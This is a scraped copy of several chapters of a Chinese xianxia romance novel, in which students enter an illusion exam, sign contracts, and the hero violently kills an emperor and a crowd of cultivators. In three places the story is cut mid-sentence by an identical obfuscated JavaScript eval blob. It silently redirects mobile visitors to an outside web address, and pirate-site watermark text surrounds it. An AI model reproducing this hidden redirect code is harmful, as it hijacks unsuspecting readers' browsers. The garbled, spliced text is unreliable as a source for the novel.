贺兰熹有些好奇了:“那四个人我认识吗? “你认识。陆执理语气中饱含向往与艳羡,“他们分别是少年时 期的浣尘真君,绯月真君,司契真君以及江隐舟院长。彼时他们和我们一样入太华宗不过两年。” 贺兰熹:“无情道的两位院长居然会愿意和别人组队?我怎么没听说过这件事!” 陆执理:“此事在太华宗算不得什么秘密也就是你们无情道院常年与世隔绝不与外人交谈才不知道罢了。” 光是听到“浣尘真君”一个人的尊号贺兰熹就已经肃然起敬了后面居然还有三个…… 究竟是何种难度的考核竟能逼得浣尘真君和江院长这两个无情道必须与合欢道及律理道合作才能通过? 一般难的考核他不见得会特意去考但难成这样的他必须去看看了。 以他对无情道院长们的了解浣尘真君和江院长这么组队一定有他们的缘由。 绯月真君或许是用了某种惊人的手段混进去的但司契真君一定是必不可少的一员。 换言之他和宋玄机若想组队参加考核队伍中至少要有一个律理道院的人 “怎么样?”陆执理跃跃欲试地问“二位要不要和我一起组队去试试?” 不等贺兰熹回答宋玄机便道:“带路。” 见宋玄机答应得干脆陆执理露出了笑容。他本是娃娃脸的幼态长相愣是笑出了看透人生百态的味道:“既然如此劳烦两位道友先把祝如霜长孙策等道友一并叫来我等从长计议。” 宋玄机:“不必。” “‘不必’?”陆执理指了指贺兰熹和宋玄机又指了指自己:“可现在我们只有区区三人……” 贺兰熹若有所思道:“如果我们三个人能完成这项考核是不是可以证明我们比当年的四人更胜一筹?” 陆执理怔愣住本能地回答:“推论无误。但哪怕是浣尘真君都需要四人组队你们确定我们三个人可以?” 贺兰熹耸了耸肩:“不知道哎但试试又没什么损失。” 宋玄机:“损失八千两。” 贺兰熹抬眼望向天幕他和宋玄机依旧稳居金榜前二祝如霜已经超越白观宁来到了第三的位置。 倘若他们考核失败被踢出幻境祝如霜便是无情道全道的希望。 他相信祝如霜可以的。即便不可以白观宁拿第一他也同样会为白观宁高兴。 “不要在意这点碎银子大不了明年再赚回来!”贺兰熹财大气粗地说“况且我们未必会失败。” 陆执理原本的计划是集合本届弟子中最强的十人参加该项考核若能成功他们也算是成绩斐然了。 三人……想想都觉得不太可能。 但话又说回来站在他面前的毕竟是无情道院的宋玄机和贺兰时雨。 受到贺兰熹的感染陆执理痛下决心:“好三人!就我们三人!” 挑战当前贺兰熹干劲十足一鼓作气道:“很好!听我号令出……” “且慢请先给我一炷香的时间。”陆执理冷静地打断贺兰熹“等我拟订好合作契约你们确认无误签个名再出发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273650|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不迟。” 贺兰熹愣愣地看着陆执理从灵囊中掏出纸笔刷刷刷开写一腔赤城突然萎了:“陆道友啊你这个契约现在是非写不可吗?” “这是自然。”陆执理一边奋笔疾书一边道:“三人合作少不了意见相左的时候。唯有白纸黑字方能无从抵赖。” 贺兰熹:“哦……” 不久前还热血沸腾的场面就这么平静了下来。一时之间只剩下了陆执理沙沙的书写之声。 贺兰熹和宋玄机在一边面面相觑莫名有种在战火硝烟中忽然无所事事的荒诞感。 贺兰熹无聊得玩起了自己的头发宋玄机问他:“还告我么。” 贺兰熹脸上一红连忙看了眼陆执理见对方仍然沉浸在契约的拟订中才压低声音说:“告。但这次就算了我下次再告。” 宋玄机“哦”了声转身朝陆执理走去。两人也不知说了什么宋玄机回来的时候手中多了一支律理道院独有的契约之笔。 笔落 说的域名qiexs▊(请来企鹅小 说 看最新章节 完整章节)则契约成。违约者将自动遭受约定的惩罚。 宋玄机执笔在空中划出一句话:双修前戏不可少违者罚银八千两。 写完这几个字宋玄机稍作停顿又写下了“宋浔”二字。 这番动作把贺兰熹人都给看傻了头顶热得几乎快要冒烟宋玄机还好意思平静地问他:“这样可以吗?” 贺兰熹捂着脸不忍直视契约上的任何一个字:“宋玄机你疯啦?!我就是随口一说而已!” “是吗”宋玄机看着他“我看你对此事似乎很执着。” “胡说八道我才没有很执着!”贺兰熹生气地从宋玄机手中抢走契约之笔在“宋浔”二字旁写下了“贺兰熹”三字。 不同于宋玄机制定契约的言简意赅陆执理的契约写了又写改了又改。半个时辰过去了祝如霜白观宁和长孙策的铜币不断增加三人轮流坐了一次全宗第三的位置陆执理这才大功告成。 密密麻麻的三页纸贺兰熹看了一眼便晕得不行果断将契约塞给了宋玄机。 不知为何宋玄机意外地尊重律理道院的道心不但看完了契约还提出了几个需要修正的地方。 等契约终于定稿的时候贺兰熹脑袋枕着宋玄机拿着契约观看的手臂都快睡着了。 “快醒醒贺兰道友万事俱备我们可以进入考场了。”陆执理斗志昂扬道“此次考核的名称只有两个字——六国。” 作者有话要说 宋玄机:当着我的面要我老婆微信礼貌吗。 看这本书的人都是很幸运的,分享后你的运气会更棒的 第 105 章 宋流纾,沈絮之,... 第105章宋流纾,沈絮之, 狼烟滚滚,铁骑轰鸣,两国交战,寸草不生。 类似的景象在这片大陆上已经持续数月了。唯有夜幕降临之际,震撼的大地才能得到片刻的喘息。 染血的战旗将英灵覆盖,与之同色的残阳缓缓沉入地平线。硝烟散去,战鼓平息,天地间一片苍茫。 一蓝二白三个身影穿梭在尸海之中,空气里弥漫着人血的腥气。贺兰熹脚下一个不小心,风化的残骸发出一声清脆的声音,碎得七零八落。 即便知道这一切不过是考核中的幻境,直面数万人生死的惨状依旧令人感到不适。 贺兰熹给被自己踩碎的残骸施了一个还原术,抬头望向不远处透着点点灯火的军营:“这幻境是不是做得太真实了?修道盛行,人妖共存,六国混战,每一个细节均和现世无异。维持如此庞大的幻境,灵力的消耗必定极大。” 陆执理道:“是的,这些灵力都来自律理道院初任院长——明法仙君的神像。” 贺兰熹“咦”了一声:“你们道院的神像不是已经被鬼界污染了么?” 在已经被污染的四座神像中,律理道院在太华宗排名第七,仅次于排名第三的太善道院。 陆执理解释道:“明法仙君的神像不但镇压了鬼界七殿下,亦是支撑每年综合考核所需灵力的来源。所以纵使镇压的封印被鬼界破了,神像的位置依然不能动。”说完这里,陆执理满面沧桑地叹了口气:“神像的位置本该是太华宗的机密,可惜封印已破,没什么隐瞒的必要了。” 贺兰熹心想果然能力越大,责任越大。明法仙君的神像身兼双职听上去已经很辛苦了,北洛上神的神像和浣尘真君的魂魄还要掌控整个鬼界,也不知道他们……会不会累。 在三人亲眼目睹的大战中,战败的一方是六国中实力最弱的淮国。他们的任务便是助大淮一统五国,在这片饱经战乱的土地上建立新的律法和秩序。 考题的关键在“秩序”二字,这就是每支参考队伍必定要有一位律理道弟子的原因。 六国中每个阵营实力不等,各有立场。若想一统六国,兵法,谋略,钱银,甚至是运气,缺一不可。 以往通过考核的二十 人小队大多兵分六路各司其事多方游说呕心泣血才能将那一千个铜币抱回仙舍。 大淮军营上空三名少年御剑悬停。连绵不绝的营帐错落有致战旗低垂败兵沉寂伤者的呻/吟不绝于耳。 陆执理深吸一口气道:“两位道友准备好了吗?六国之考正式开始!” 贺兰熹被漫长的等待消耗了一大半的兴奋又回来了:“好!开始!” 得到了无情道美人的热情回应陆执理的情绪愈发高昂:“我这就去找御驾亲征的大淮皇帝毛遂自荐你们等我消息!” 贺兰熹化身太华宗第一会捧场的甜豆:“好!我们等你消息!” 半炷香的时间后主账中传出一声淮帝的怒喊:“哪来的混账修士竟妄想教朕做事!来人啊拖下去!” 陆执理虽然能靠自己脱身却不想在考核一开始就失去自己人的信任。被拖出去的时候 贺兰熹连连摇头:“陆道友就这么被惨兮兮地拖走了。” 宋玄机道:“正常。” 大半夜擅闯军营对着一国之君高谈阔论指点江山满嘴的律法明理……淮帝没有直接就地处决他已经算得上是仁君了。 按照契约上所言同伴遇险其余人等不可袖手旁观。趁着军中守卫深夜懈怠浔熹二人凭空出现在关押陆执理的马厩里。 见到他们陆执理满意点头:“我就知道你们一定会来契约上都写着了!” “你快算了吧”贺兰熹手中比划着说“没那个长长长长的契约我们也会来找你好吗。” 陆执理微微一怔看贺兰熹的目光漾起光芒不出意外地被感动了:“真、真的吗?” 同样的事情发生过太多次早该见怪不怪的宋玄机闭了闭眼对贺兰熹道:“当心。” 贺兰熹:“啊?” 宋玄机:“最佳好友和义弟的位置你已然送出你没什么能给其他人了。” 贺兰熹刚要反驳北濯天权忽然有些蠢蠢欲动。眼下的小小困境远远未到北濯天权出鞘的地步这一声声只有贺兰熹能听到的剑鸣之音是北濯天权在告诉他它来过这里。 “是我把事情想 得太简单了,我对不起师尊的教诲。”陆执理惭愧地说,“当年的师尊,绝不会和我犯同样的错误。” “那倒未必。”贺兰熹盯着地面,道:“司契真君不但和你一样被拖走了,还连累了其他三人和他一同被关在了这里。” 陆执理一怔:“你说什么?” 贺兰熹继续道:“之后,绯月真君嫌弃司契真君成事不足败事有余,一举从他手中夺过了话语权。” 陆执理惊叹道:“时雨为何知道得这么详细?” 宋玄机道:“北濯天权?” 贺兰熹召出北濯天权,用剑在地面上划出一个方形:“你们来看。” 北濯天权的剑气与马厩中残留的灵识共鸣,一道由契约之笔书写的四人契约穿越数十年,在三人面前缓缓铺展而开。 契约四人:宋流纾,沈絮之,江隐舟,王昭权,即现在的司契真君。 契约的内容总结一下大概是: 宋流纾为六国考核的统筹者,其余三人在考核一事上必须对宋流纾言听计从; 无论四人遭遇何种困境都不能出卖色相,宋流纾也不能用合欢道的双修之法解决问题; 宋流纾不可和沈絮之说任何与考核无关的话,两人非必要不见面,更不能当众打起来耽误正事,私下最好也别打; 宋流纾不能开江隐舟的玩笑,必须认可王昭权事事提前制定契约的道心; 宋流纾不能使用风月宝匣,最真实的春宫图,春情茧……等一切自创的法器; 王昭权老老实实地待在皇宫制定律法即可,再乱出馊主意没人会救他; 江隐舟担任此次考核的护卫,务必确保大家的安全,让每一个人都能活下来。 …… 看这份契约的措词方式,应该是出自绯月真君之手。这些只是四人契约的一小部分,剩下还有许多条条框框,一时半会儿根本看不完。 契约中大多都是对绯月真君言行的约束,看来沈江王三位院长对绯月真君真是既信任又不信任啊。 他们相信宋流纾能带着他们通过考核,也相信这个过程能把他们气死。所以,他们才在马厩里签下了这份契约。 原来,江院长以前经常被绯月真君开玩笑; 绯月真君和浣尘真君少年时 期的关系果然很差; 风月宝匣和最真实的春宫图居然只是绯月真君十几岁时的杰作; 不敢想象,如今代表着昭昭天理,高处不胜寒的司契真君曾经也是个冒失鬼…… 这一刻,贺兰熹仿佛看到了四个青涩稚嫩的少年坐在他们所站的位置,围成一圈对着契约删删减减。大战前的月光倾泻洒落,将少年们的影子缓缓拉长。 陆执理认认真真地看完契约,感叹道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340257|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我一直以为无情道院是十二道院当之无愧的王者,没想到四位院长以前考核的时候,居然是合欢道院的宋院长主导。 贺兰熹努力为自家院长找回场子:“那还不是因为统筹全局需要说很多话,沈院长和江院长肯定是因为不想说太多话才勉强同意让绯月真君控场的。 陆执理恍然大悟:“有道理! “我觉得,接下来我们还是用实力和淮帝说话比较好。你觉得呢,宋浔? 宋玄机的目光在那句“江隐舟要让每个人活下来的契约上停留了许久,回过神道:“好。 离开马厩之前,宋玄机问陆执理:“此契约只在考核幻境中生效? 陆执理道:“这是自然,契约上不都写清楚了作用的范围么。 “这随便想想都能知道吧。贺兰熹惊讶于宋玄机竟然会问这么显而易见的问题,“如若不然,就绯月真君那张嘴,早就不知道违约多少次了。 宋玄机轻一颔首:“嗯。 贺兰熹的办法显然比陆执理的靠谱得多。大淮境内不乏修仙世家,但能力出众者一只手就能数得过来,而近日大胜他们的徐国则是能人异士辈出。 徐国接连大捷,势如破竹,眼看就要攻入大淮国都,淮帝连亡国时自己该在哪棵树上吊死都想好了,不料从天而降三名神通广大的修仙少年,给了他最后一丝希望。 陆执理在淮帝面前小露一手后,淮帝对陆执理的态度发生了巨大的转变,不但以礼相待更是奉为上宾。 贺兰熹看得出来淮帝对陆执理推崇的法理没什么兴趣,不过是想借他们的力量对付徐国而已。 此刻的大淮深陷内忧外患,安内与攘外只能同时进行。如何说服淮帝推行法理不需要贺兰熹考虑,根据契 约,他和宋玄机负责的是外患事宜。 对如今的大淮而言,继续陷入和徐国的苦战绝非明智之举。贺兰熹建议淮帝派遣使者前往徐国国都与徐国和谈,同时与邻国结成同盟,为大淮争取休养生息的时间。 贺兰熹的建议淮帝一早便尝试过,无奈徐国仗着胜券在握始终不肯接受和谈。大淮派去的使者全部命丧黄泉,更有人被徐国炼成了活尸,再被送回大淮大开杀戒,祸害平民。 在淮帝的明示暗示下,贺兰熹同意亲自去一趟徐国,宋玄机忙于结交联盟一事不能相陪。 至于为何是话最少的宋玄机负责结交邻国,那当然是因为他字字珠玑,几个字就能把人说死。 出发之前,贺兰熹换上了大淮官员的赤色官服,身体被藏得严严实实,露出来的只有手和脸。可大家都知道,贺兰熹的脸才是最大的问题。 穿着大淮官服的贺兰熹端庄典雅,宋玄机看着他,想到的却是当日一身楼兰装,腰间尽揽月色的少年。 徐国国君虽然不像当初的楼兰王好色,但只要是上位者,谁会不想把难得一见的绝色占为己有。 贺兰熹察觉到宋玄机的异样,问:“怎么啦?你在想什么? 宋玄机:“在想,没有实力的美貌只是一种累赘罢了。 贺兰熹:“是吧,但我很有实力。 宋玄机:“嗯,幸好。 贺兰熹:“你对这种事似乎很有感触。 宋玄机:“确实。 贺兰熹偏过头:“好一个不谦虚的高冷美人。 “记住,你不是在楼兰,也不是在现世。宋玄机掰过贺兰熹的脸,和贺兰熹对视:“你无须投鼠忌器。 贺兰熹想起了宋玄机在【灵植大战妖兽】中的所作所为,不禁粲然一笑:“明白! 作者有话要说 第 106 章 当年我师尊是不是... 第106章当年我师尊是不是 六国之中,徐国势力最盛。徐国皇室世代修仙问道,只有强者方能继承大统。受到皇室的影响,徐国境内的修仙者俯拾皆是,连负责为贺兰熹带路的小官吏都会简单捏个诀。 贺兰熹以大淮使臣的身份出使徐国国都。入宫觐见皇帝前,官吏命令他卸下武器,只能携带大淮的求和书进殿。 贺兰熹交出了一把载星月,官吏却没有放过他:“还有一把。” 贺兰熹:“……厉害。” 贺兰熹多瞧了官吏两眼,把两把剑都交了出去。官吏确认无误后,带着他来到徐国皇帝所在的大殿。 宫殿巍峨,两只凶猛的麒麟石像镇守左右。身着铁甲的禁卫手持长矛排列在宫殿两侧,宛若一尊尊不可侵犯的雕像,藏在头盔下的视线不动声色地追着贺兰熹的身影。 徐国皇帝新得了一头蝶形异兽,正悠闲地喂食调/教;一众姿色过人的乐师轻捻慢挑,悠扬琴音自她们的指尖流淌而出。 听闻淮国使臣求见,皇帝兴致缺缺道:“想要求和,光派人送些破烂来有什么用。”皇帝伸出手,轻轻拨了拨蝶兽晶莹剔透的蝶翅:“别吃得太饱,待会说不定有加餐。” 皇帝斜睨一眼,守在他身侧的近臣立即心领神会:“宣淮国使臣觐见——” 蝶兽听懂了主人的话,期待地立在皇帝肩头,等待着即将到来的淮国美味。 可它等了许久,等到不耐烦地振起了翅,那看起来就很好吃的少年依然好端端地站着。 徐国皇帝无视蝶兽不满的抗议,盯着面前身穿淮国官服的美人,嘴角一点点勾了起来:“你是淮国求和的‘贡品’?” 垂首的少年面上一顿,尽量耐心地说:“我不是。” 皇帝的反应像是听到了一个无关紧要的笑话,居高临下地打断少年:“朕说你是,你便可以是。” 徐国皇帝自认并非好色之徒,年近三十后宫里几乎没人,别国送到徐国的绝色美人他更是看都懒得看一眼,现在却忽然有了兴致。 在绝对的美貌前,饶是他也不能免俗。 贺兰熹朝龙椅的方向望了过去,仿佛没听见皇帝的话一般,依照流程呈上求和书:“陛下请阅。 皇帝手指一勾,求和书便从贺兰熹手中飞了出去,被皇帝轻而易举地接住。 皇帝打开求和书,只轻描淡写地瞄了一眼,求和书便被他随手扔进了一旁的火炉中,敷衍得像是在打法看路边一条摇尾乞怜的狗。 贺兰熹瞳孔微微一缩,眼底浮现出一丝丝的心疼。 皇帝欣赏着少年略显难过的神情,饶有兴味地问:“你这是什么表情? 贺兰熹轻声道:“求和书是我道友一夜没睡写的。 皇帝嗤笑一声,在龙椅上换了个更舒服的姿势:“瞧瞧,淮国给朕送来了什么——好一个愚蠢天真的宝贝。 “宝贝二字似乎触碰到了少年的逆鳞。少年一言不发地盯着他,方才真情流露的脸忽然没了表情。 “生气了?朕还以为淮国人早就习惯了被当成狗一样对待呢。皇帝吹了声口哨,懒洋洋道:“宝贝,过来。 贺兰熹一动不动地站在原地,平静地直视着龙椅上的人。 近臣不动声色地观察着皇帝的反应,惊讶地发现皇帝竟然没有动怒。直视天颜地抗旨,若少年没长这张脸,此刻早该是那只蝶兽的盘中餐了。 皇帝挑了挑眉:“朕让你过来,没听见? 贺兰熹凉凉道:“我听到了,但我不想过去。 “不必担心自己没有名分。皇帝对贺兰熹表现出来的耐心让他自己都觉得意外。他从果盘中拿起一个杏果,抛接着把玩:“过来伺候朕。你若伺候得好,朕说不定愿意赏你个后妃当当的。 贺兰熹沉默片刻,走到了皇帝跟前。 “这就对了。皇帝露出被取悦了的满意笑容,“你越乖,淮国的希望越大。 “你要封我做什么,贺兰熹面无表情地问,“熹妃? 皇帝张开双腿,眼神微妙地示意:“那就要看你的本事了。 贺兰熹闭上了眼睛。 他不是在楼兰,甚至也不是在现世。 那他是不是想怎么玩都可以? 在绯月真君等人四人契约中,写明了不能用美貌解决问题。若是当年的浣尘真君,他会怎么做? 贺兰熹睁开眼,心平气和地说:“我有个问题,陛下。 皇帝道:“你问。 “你真的只是幻象吗。”贺兰熹垂眸打量着皇帝有些怀疑:“怎么感觉有些熟悉呢——熟悉得让人厌恶。” 皇帝微怔:“什么?” “算了 此话一出蝶兽猛地振翅虹吸式的口中发出无形的声浪;铁甲禁卫一拥而上将贺兰熹围得水泄不通。 “口气倒不小。”皇帝眼中折射出冰冷嘲弄的光芒扬手示意禁卫按兵不动:“朕听说了淮国不知道从哪里找来了三个乳臭未干的少年做帮手。可像你这样的剑修一旦没了剑和街上四处逃窜的蝼蚁有什么区别?” 贺兰喜淡道:“杀你何须用剑。” 皇帝当然不信像贺兰熹这样的纤细少年能在自己的地盘上掀起风浪不以为然地笑了:“哦?那就让朕看看你有多大的……” 咔——! 骨骼偏离碎裂的声音骤然响起皇帝尚未反应过来发生了什么只觉头皮阵阵发麻脖子被一阵巨力拉扯着逼迫他高高仰起了头惊惧的瞳孔中映出少年惊人的美貌。 下一刻少年冷漠的面容陡然消失在他的视野中——贺兰熹履行了自己的诺言不容反抗地将两颗杏果活生生地插进了皇帝的眼窝! “啊啊啊啊啊!” 皇帝的怒吼响彻大殿两行刺目的血泪在他脸上划过。惊恐万状的乐师尖叫着逃散蝶兽猛烈地振翅扬起不输沙尘之暴的狂风。 “有刺客!” “保护陛下!” 这一切发生得太快没人能看清贺兰熹的动作。禁卫已经做出了最快的反应仍旧阻挡不了贺兰熹抓着皇帝的肩膀一把将他拎了起来毫不留情地从龙椅上扔了出去。 皇帝怎么也想不到贺兰熹的力气能大到他完全无法挣脱的地步。他勉强在半空中调整身姿妄想免受重摔之苦不料上一刻还在龙椅旁的身影毫无预兆地闪到了他面前一手揪住他的龙袍一手成拳狠狠地对准了他的脸。 皇帝重重摔下地面被砸出一个大坑无数裂痕犹如生长的藤蔓迅速朝四面八方延 伸,其中一根的尽头来到了那张金碧辉煌的龙椅。 只听砰地一声,龙椅轰然炸开。 “当年我师尊是不是也是这么揍你的?贺兰熹在狂风中如履平地,一只脚冷冷地踩在皇帝的胸口,转身眺望天际。 “求援!速速求援!快—— 象征着最高危机的号角声回荡在国都的每一个角落。所有听到号角声的修士,无论是谁,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340258|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论在干什么,必须第一时间前往皇宫护驾。 越来越多的人涌了过来,但此刻对贺兰熹威胁最大的却是东边那只没有被满足食欲的巨大蝶兽。 蝶兽完全展开的翅膀如同突如其来的夜幕,将整座宫殿缓缓笼罩。黑暗中,唯有一双眼睛散发着幽光,朝贺兰熹投下冰冷的视线。 逐风巨蝶,擅长风之力,振翅则狂风起,蝶翅上的花纹能让人陷入幻觉。 听着有些厉害,但在贺兰熹眼中,它不过是一道有关《异兽论》的考题而已。 考核前,白观宁曾言之凿凿地告诉他:“逐风巨蝶去年没考,今年肯定考!多练几次《镇蝶曲》肯定没错! ——小白,你就是太华宗的押题真君! 贺兰熹摊开掌心,被乐师遗弃的古琴受召而来。贺兰熹的手指在琴弦上熟练地游走,平平无奇的古琴犹如枯木逢春,在灵力的浇灌下焕发新生。 琴音自贺兰熹指尖扩散,好似一根无形的锁链将逐风巨蝶的翅膀牢牢钉在了空中。为了挣脱锁链,逐风巨蝶不断地剧烈挣扎,甚至不惜缩小了身体。 贺兰熹眸光微沉,曲调忽地一降,琴音形成的锁链变成了一张蛛丝密网,猛地将逐风巨蝶扑在了地上。 逐风巨蝶的翅膀无力地挥动着,怒火随着密网的紧缩逐渐消失殆尽,最终臣服地垂下脑袋,彻底安静了下来。 西面,全副武装的禁卫已经冲到了贺兰熹身旁,一根根扬起的长矛宛若铜墙铁壁,一眼望去找不到任何破绽。 “谢了。 一张引雷符在他食指和无名指之间凭空出现:“——引。 引雷符如利刃般飞了出去,贴在了离贺兰熹最近的禁卫身上 。 一道惊雷从天而降,不偏不倚地打在了禁卫头顶,铁制的头盔登时滋滋作响,铁甲和长矛成了最好的导雷利器,顷刻间将铜墙铁壁瓦解。 禁卫一个接一个倒了下来,人肉烧焦的味道在空气中弥漫开来。 ——《符录学》。 北边,第一批听到号角声赶来护驾的修士见情况不对,立刻结出了阵法把贺兰熹围在了阵中。 五行封印阵,借五行之力,封印阵内之人。 ——要考我《阵法学》是吧? 贺兰熹脑海中浮现出祝如霜生无可恋的脸,嘴角不由地轻轻扬起。下一瞬,祝如霜的脸消失了,取而代之的是一副精密的机关内部图。 由无数个齿轮和引线汇聚而成的图案在贺兰熹的瞳孔中显出实质,他蓦地抬起冰蓝的眼眸朝镇守宫殿的麒麟石像看去,将瞳孔中的图案深深地刻了进去。 ——《机关学》。 麒麟石像无法窥见的内部飞速地碎裂重组,强大的灵气顺着机关的纹路全身扩散。麒麟至此被赋予了生命,灰白的眼睛变成了和它的主人一样的蓝色,咆哮地冲向五行封印阵。 敌人被麒麟石像冲得溃不成军,五行封印阵已是摇摇欲坠。石像抬起沉重的巨足,对准五行封印阵的阵眼牢牢踩了下去。 啪——和阵眼一同被踩碎的还有敌人的骨头和血肉。 天际的南方,更多的修士正陆陆续续御剑而来,密密麻麻,犹如万箭齐发,势不可挡。 望着根本看不到尽头的御剑大军,站在尸堆中的贺兰熹快要没耐心了:“你们能不能一起上?” 作者有话要说 宝宝:学好数理化,走遍天下都不怕! 这是第一更,二更在晚上! 第 107 章 等等,宋浔,好多... 第107章等等,宋浔,好多 【千军万马】四字在这一刻得到了具象化。 徐国国都所有的修士尽归于此,还有更多的人正在从稍远的地方源源不断地赶来。 御剑大军所到之处,云雾被冲散,炫目的日光也失去了应有的色彩。 飞在最前面的是徐国京中几位德高望重的修道者,一个个白须飘飘,神色凝重,如临大敌。 他们听到号角声受召而来,本以为要面对的是哪个只在传闻中出现过的修仙大能,谁能想到血泊尸海中只有一个未及弱冠的少年。 皇宫里的惨状让修士们不敢放松警惕,更不敢贸然出手。一名为首的老者问:“阁下究竟是何方神圣?” “贺兰熹,字时雨,”贺兰熹一边自我介绍,一边将载星月和北濯天权召了回来:“年方十八,尚未婚嫁——不过应该快了。” 修道者们:“……?” 北濯天权回到贺兰熹手中,发出兴奋的剑鸣,告诉贺兰熹它也来过这里,它在这里和一把名叫【无处相思】的剑一起杀了好多人。 贺兰熹心下了然。 原来当年来到徐国国都的少年一共有两名,看来这些老东西确实不好对付。 而今只有他一人,他又该如何破局呢? 一个冰蓝色的身影不仅从他脑海中冒了出来,更是出现在了他心里。 冰冷美貌的青年,仿佛立于遥远寂静的雪峰之巅,向他投来神性的注视。 贺兰熹胸口一阵轻轻的悸动,学着记忆中的样子尝试施法:“法相天地?” 修道者见状大惊:“不好,他要召唤法相了!速速退开!” 狂风自贺兰熹脚底而起,刹那间长发飞扬,衣袂飘飘,甩出一片翻腾的雪浪。 暴涨的灵力在贺兰熹身后炸开,修道者连连后退自保,慌乱之中欲图看清少年的法相。 然后……他们什么都没有看到。 贺兰熹:“。” 很好,果然一点用都没呢。 之前看宋玄机的法相那么漂亮,他心动得不行,也想看看自己的法相是什么。可无论他怎么尝试,他的法相就是不肯出来。 不过没关系,他学不了宋玄机,宋玄机 也学不了他。 有件事,放眼整个太华宗,只有他一人能做到。 “他召不出法相!”一个年轻的修士如蒙大赦地喊了起来,“大家别被这个虚有其表,装腔作势的小子骗了!” 此话有如当头一棒敲醒了呆若木鸡的众人。为首的老者自以为受到了蒙骗,面子上挂不住,脸色变得铁青:“宵小之徒,还不快快束手就擒!” 话落,御剑大军如闻号令,在空中围成一个大圈,同时朝圈中那抹染血的身影俯冲而去。 贺兰熹扫了眼老者脚下的剑。那无疑是把好剑,想必早就炼成了灵识,可以听懂他的话。 徐国的狗皇帝说的不错,对某些剑修而言,一旦没了剑,和街上四处逃窜的蝼蚁有什么区别? 一把把长剑仿若急雨,载着它们的主人一路风驰电掣。剑主们在剑上纷纷使出看家本领,无数符咒,阵法,法器汇聚成呼啸的洪流,足以将整座宫殿瞬息淹没。 贺兰熹站在洪流的正中心,一对麒麟石像挡在他面前,不安地来回逡巡,巨足踏破大地,发出阵阵低沉的轰鸣。 “别怕,”贺兰熹摸着石像的脑袋,低头轻声安慰:“鼠雀之辈而已。” 御剑大军越来越近,贺兰熹抬眸看去,浅蓝的瞳仁蓦然变深。晴天般的湛蓝划破长空,对所有具有灵识的剑下达了同一个命令。 神器有灵,万剑共鸣。 横在空中的剑好似一艘艘在风浪中前行的小船,船身在同一时间被一股无法抗拒的力量掀翻。 伴随着惊恐的惨叫,上一刻还气势汹汹的修士如同被万箭穿过的鸟群,一个接着一个从高处坠落。徐国皇宫上空,下起了一场惊世骇俗的“人雨”。 反应不及的修士被活活摔死,有点能力的勉强着陆,好不容易站了起来又被落下的“雨”砸了回去。 几位老者来不及收起脸上的恐惧,忙不迭召出了第二把剑,然而这些剑和它们的前辈们一样完全失去了控制。 它们温顺地来到了贺兰熹身前,自动排列归整,形成了两千年来,这片大陆上最庞大,最震撼的剑阵。 也不知浣尘真君和绯月真君看到了这一幕,是不是会觉得他在作弊呢。 想到两位长辈,贺兰熹无声地笑了笑,随后手指微微一抬: “——万剑归宗。” 盛放的剑光聚集成一条汹涌的剑河,瞬间吞噬了天地。 幸存者的视野中出现了大片的蓝色——这也是他们此生看到的,最后的颜色。 狂风渐止,剑光散去。日光下,喧嚣的战场重归寂静。 徐国皇室及京中大族,至此尽亡。 万剑归宗的余波中,一个清冷的身影静立于屋檐之上,望着血海尸堆中的少年,一贯平淡冷漠的眼中熹光流转,熠熠生辉。 贺兰熹似有所感,疑惑地朝屋檐的方向看去。 “宋浔?”贺兰熹擦了擦溅到脸上的鲜血,开心地挥手:“你怎么来啦?!” 宋玄机无声落地,一步步朝贺兰熹走来。 贺兰熹嫌弃宋玄机走得慢,一路跑了过去。眼看就要跑到宋玄机怀里了,又忽地放慢了脚步。 他身上沾满了人血,脚底也全是碎肉,要先清理一下才能去抱他最喜欢的高岭之花。 贺兰熹在离宋玄机还有一步之遥的地方停了下来,笑容纯净如无暇之玉:“你什么时候来的?你看到我把他们全杀光了吗?” “刚来,看到了。”宋玄机简单回应了他,“过来。” “哎?你先等一下。”贺兰熹刚要给自己用一个净身术,手腕忽然被握住了。 手上传来的力量让他毫无防备地踉跄了一下,不久前凭一己之力灭徐国一国的少年这时竟连站都站不稳,直接扑进了宋玄机怀里。 贺兰熹:“……嗯?” 宋玄机不由分说地抬起他的下巴,低头堵住了他的唇。 贺兰熹怔愣一瞬,第一反应是:这是宋玄机第几次亲他了? 数不清……早就数不清了。 不对不对,这不是重点,重点是他刚杀了几百上千个人啊!哪有人在尸体堆里亲嘴的? 在宋玄机撬开他的唇齿探入舌尖时,贺兰熹难耐地挣扎了起来。 “不要……”贺兰熹低喘着道,“等等,宋浔,好多血,脏……” 